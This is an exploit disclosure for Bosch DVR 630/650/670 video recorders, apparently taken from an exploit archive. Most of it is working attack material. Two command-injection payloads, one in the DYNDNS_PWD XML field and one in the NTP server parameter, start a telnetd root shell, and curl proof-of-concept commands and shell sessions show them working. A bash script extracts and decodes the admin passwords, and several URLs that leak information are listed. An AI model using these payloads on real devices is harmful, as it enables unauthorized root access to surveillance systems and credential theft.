发布 2014-10-14 漏洞条目

Bosch Security Systems DVR 630/650/670 Series – Multiple Vulnerabilities

Exploit Source

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[ Discovered by dun \ posdub[at]gmail.com ]

[ 2014-10-01 ]

###############################################################################

# [ Bosch Security Systems DVR 630/650/670 Series ] Multiple Vulnerabilities #

###############################################################################

# Device: "The Bosch Video Recorder 630/650 Series is an 8/16

# channel digital recorder that uses the latest H.264

# compression technology. With the supplied PC

# software and built-in web server, the 630/650 Series is

# a fully integrated, stand-alone video management

# solution that's ready to go, straight out of the box.

# Available with a variety of storage capacities, the

# 630/650 Series features a highly reliable embedded

# design that minimizes maintenance and reduces

# operational costs. The recorder is also available with a

# built-in DVD writer."

# Vendor: http://www.boschsecurity.com/

# Product: DVR 630/650 http://resource.boschsecurity.us/documents/Data_sheet_enUS_1977239307.pdf

# DVR 670 http://resource.boschsecurity.us/documents/DVR_670_Series_Data_sheet_enUS_7654294923.pdf

# Software Download:

# http://resource.boschsecurity.us/software/Software_DVR630_650_firmware_v212_all_1980902667.zip

# http://resource.boschsecurity.us/software/Software_DVR670_firmware_v212_enUS_8599929867.zip

# Timeline: 2014-10-01 Vulnerability discovered

# 2014-10-03 1 Contact with vendor - No response

# 2014-10-14 Published

###################################################################

# Gaining Root Shell Access [1]:

POST /Net_work.xml HTTP/1.1

Accept: */*

Accept-Language: pl

Referer: http://10.11.219.2/network.html

Content-Type: text/xml; charset=UTF-8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Host: 10.11.219.2

Content-Length: 1274

DNT: 1

Proxy-Connection: Keep-Alive

Pragma: no-cache

Cookie: MosaLanguage=0; session=

<NETWORK_SETTING>

<HTTP_PORT>80</HTTP_PORT>

<DDNS_SERVER>1</DDNS_SERVER>

<DYNDNS_HOST>wxss</DYNDNS_HOST>

<DYNDNS_USER>ffl</DYNDNS_USER>

<DYNDNS_PWD>|telnetd -l${SHELL} -p30 #</DYNDNS_PWD>

<TZO_HOST></TZO_HOST>

<TZO_MAIL></TZO_MAIL>

<TZO_KEY></TZO_KEY>

<SITE_HOST>sdads</SITE_HOST>

<SITE_PWD>dsadsd</SITE_PWD>

<SITE_RECORDID>sdasdas</SITE_RECORDID>

<SITE_FQDN>dasdas</SITE_FQDN>

<ALARM_ON>0</ALARM_ON>

<DISK_FAIL>0</DISK_FAIL>

<DISK_FULL>0</DISK_FULL>

<FAN_FAIL>0</FAN_FAIL>

<DISK_TEMP>0</DISK_TEMP>

<ADMIN_PW>0</ADMIN_PW>

<VIDEO_LOSS>0</VIDEO_LOSS>

<SMTP_PORT>25</SMTP_PORT>

<SENDER_MAIL></SENDER_MAIL>

<MAIL_1></MAIL_1>

<MAIL_2></MAIL_2>

<MAIL_3></MAIL_3>

<MAIL_TEST>0</MAIL_TEST>

</NETWORK_SETTING>

## PoC:

root@debian:~# curl -i -s -k -X 'POST' -H 'Referer: http://10.11.219.2/network.html' -H 'Content-Type: text/xml; charset=UTF-8' \

-H 'User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)' -H 'DNT: 1' \

-b 'MosaLanguage=0; session=' --data-binary $'<NETWORK_SETTING>\x0d\x0a <DHCP>0</DHCP>\x0d\x0a <DHCPIP>10.11.219.2</DHCPIP>\x0d\x0a \

<DHCPMASK>255.255.255.0</DHCPMASK>\x0d\x0a <DHCPGW>10.11.219.1</DHCPGW>\x0d\x0a <DHCPDNS1>0.0.0.0</DHCPDNS1>\x0d\x0a \

<DHCPDNS2>0.0.0.0</DHCPDNS2>\x0d\x0a <IP>10.11.219.2</IP>\x0d\x0a <MASK>255.255.255.0</MASK>\x0d\x0a <GW>10.11.219.1</GW>\x0d\x0a \

<DNS1>0.0.0.0</DNS1>\x0d\x0a <DNS2>0.0.0.0</DNS2>\x0d\x0a <HTTP_PORT>80</HTTP_PORT>\x0d\x0a <BANDWIDTH>0</BANDWIDTH>\x0d\x0a \

<DDNS_SERVER>1</DDNS_SERVER>\x0d\x0a <DYNDNS_HOST>wxss</DYNDNS_HOST>\x0d\x0a <DYNDNS_USER>ffl</DYNDNS_USER>\x0d\x0a \

<DYNDNS_PWD>|telnetd -l${SHELL} -p30 #</DYNDNS_PWD>\x0d\x0a <TZO_HOST></TZO_HOST>\x0d\x0a <TZO_MAIL></TZO_MAIL>\x0d\x0a \

<TZO_KEY></TZO_KEY>\x0d\x0a <SITE_HOST>sdads</SITE_HOST>\x0d\x0a <SITE_PWD>dsadsd</SITE_PWD>\x0d\x0a \

<SITE_RECORDID>sdasdas</SITE_RECORDID>\x0d\x0a <SITE_FQDN>dasdas</SITE_FQDN>\x0d\x0a <ALARM_ON>0</ALARM_ON>\x0d\x0a \

<MOTION>0</MOTION>\x0d\x0a <DISK_FAIL>0</DISK_FAIL>\x0d\x0a <DISK_FULL>0</DISK_FULL>\x0d\x0a <FAN_FAIL>0</FAN_FAIL>\x0d\x0a \

<DISK_TEMP>0</DISK_TEMP>\x0d\x0a <ADMIN_PW>0</ADMIN_PW>\x0d\x0a <VIDEO_LOSS>0</VIDEO_LOSS>\x0d\x0a <POWER>0</POWER>\x0d\x0a \

<SENDER>0</SENDER>\x0d\x0a <SMTP></SMTP>\x0d\x0a <SMTP_PORT>25</SMTP_PORT>\x0d\x0a <SSL>0</SSL>\x0d\x0a <USERNAME></USERNAME>\x0d\x0a \

<PWD></PWD>\x0d\x0a <SENDER_MAIL></SENDER_MAIL>\x0d\x0a <SUBJECT></SUBJECT>\x0d\x0a <MAIL_1></MAIL_1>\x0d\x0a <MAIL_2></MAIL_2>\x0d\x0a \

<MAIL_3></MAIL_3>\x0d\x0a <MAIL_TEST>0</MAIL_TEST>\x0d\x0a</NETWORK_SETTING>\x0d\x0a' 'http://10.11.219.2/Net_work.xml'

root@debian:~# telnet 10.11.219.2 30

Trying 10.11.219.2...

Connected to 10.11.219.2.

Escape character is '^]'.

BusyBox v1.1.2 (2009.12.29-03:59+0000) Built-in shell (ash)

Enter 'help' for a list of built-in commands.

/ # id

uid=0(root) gid=0(root)

/ # uname -a

Linux everfocus 2.6.24-rt1-hi3520v100 #9 Thu Sep 2 14:00:47 CST 2010 armv6l unknown

/ # ps |grep telnet

2827 root 228 S telnetd -l/bin/sh -p30

/ # netstat -ltn | grep 30

tcp 0 0 0.0.0.0:30 0.0.0.0:* LISTEN

/ # echo pwnd & exit

pwnd

Connection closed by foreign host.

root@debian:~#

###################################################################

# Gaining Root Shell Access (authorization is needed) [2]:

GET /ntp.cgi?cmd=ntp_start&time_server=1&private_server=192.168.0.245|%20telnetd%20-l${SHELL}%20-p40;%20id&rnd=4392 HTTP/1.1

Accept: */*

Accept-Language: pl

Referer: http://10.11.219.2/system.html

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Host: 10.11.219.2

DNT: 1

Proxy-Connection: Keep-Alive

Cookie: MosaLanguage=0; session=

## PoC:

root@debian:~# curl -i -s -k -X 'GET' \

-H 'Referer: http://10.11.219.2/system.html' \

-H 'User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)' -H 'DNT: 1' \

-b 'MosaLanguage=0; session=' 'http://10.11.219.2/ntp.cgi?cmd=ntp_start&time_server=1&private_server=192.168.0.245|%20telnetd%20-l${SHELL}%20-p40;%20id'

root@debian:~# telnet 10.11.219.2 40

Trying 10.11.219.2...

Connected to 10.11.219.2.

Escape character is '^]'.

BusyBox v1.1.2 (2009.12.29-03:59+0000) Built-in shell (ash)

Enter 'help' for a list of built-in commands.

/ # id

uid=0(root) gid=0(root)

/ # uname -a

Linux everfocus 2.6.24-rt1-hi3520v100 #9 Thu Sep 2 14:00:47 CST 2010 armv6l unknown

/ # ps |grep telnet

2827 root 228 S telnetd -l/bin/sh -p40

/ # netstat -ltn | grep 40

tcp 0 0 0.0.0.0:40 0.0.0.0:* LISTEN

/ # echo pwnd & exit

pwnd

Connection closed by foreign host.

root@debian:~#

###################################################################

# Admin Password Disclosure: http://10.11.219.2/User.cgi?cmd=get_user

## PoC Exploit:

#!/bin/bash

x=0;

for i in $(curl --silent http://10.11.219.2/User.cgi?cmd=get_user| sed 's/<[^>]\+>/ /g' | sed -r 's/(\s)+[0-9]//g');

do base64 -d<<<$i; if [ $(( $x % 2 )) -eq 0 ]; then echo -n ":"; else echo ; fi; ((x++)); done

###################################################################

# Sensitive Information Disclosure:

http://10.11.219.2/Config.cgi?cmd=system_info

http://10.11.219.2/System.xml

http://10.11.219.2/Net_work.xml

http://10.11.219.2/webcmd.html

/ # cat /4mosa600/data/Webcmd_help.txt

cmd value (sample)

====================+==========================

blockid | 0 ~ block max // show block info and flag and gop status.

--------------------+-------------------------

disk | // show disk temp.

--------------------+-------------------------

reboot | // restart DVR.

--------------------+-------------------------

remote-info | // socket status.

--------------------+-------------------------

log | 1: System // show system log.

| 2: Record

| 4: Login

| 8: Configure

| 16: Operation

| 31: All

| 63: Service

--------------------+-------------------------

ionly | 1~12 how many frames in a GOP will send to internet

| 0: all I/P-frame (default)

| 1: I only

| 2: IP

| 3: IPP

| 4: IPPP

| ....

| 12: IPPPPPPPPPPP

| others: show current value on DVR.

--------------------+-------------------------

chlink | 0~MKF_CHANNEL // show channel link.

--------------------+-------------------------

bitrate | // show bitrate information.

--------------------+-------------------------

dls | // show about time and DLS message.

--------------------+-------------------------

bmp | // dump bmp file to http://x.x.x.x/vga0.bmp

--------------------+-------------------------

msg | This is bitmap

| bit 0 show encode FPS and Bitrate.

| bit 1 show encode resolution.(dependent bit 1)

| bit 2 show remote client mesage.

| bit 3 show ptz command.

| bit 4 cpu and memory usage..

--------------------+-------------------------

remote-cgi | 0 disable all cgi command.

| 1 show all cgi command to console.

| 2 show cig command if not "login_id"

--------------------+-------------------------

作者: dun
日期: 2014-10-14
类别: webapps
平台: hardware

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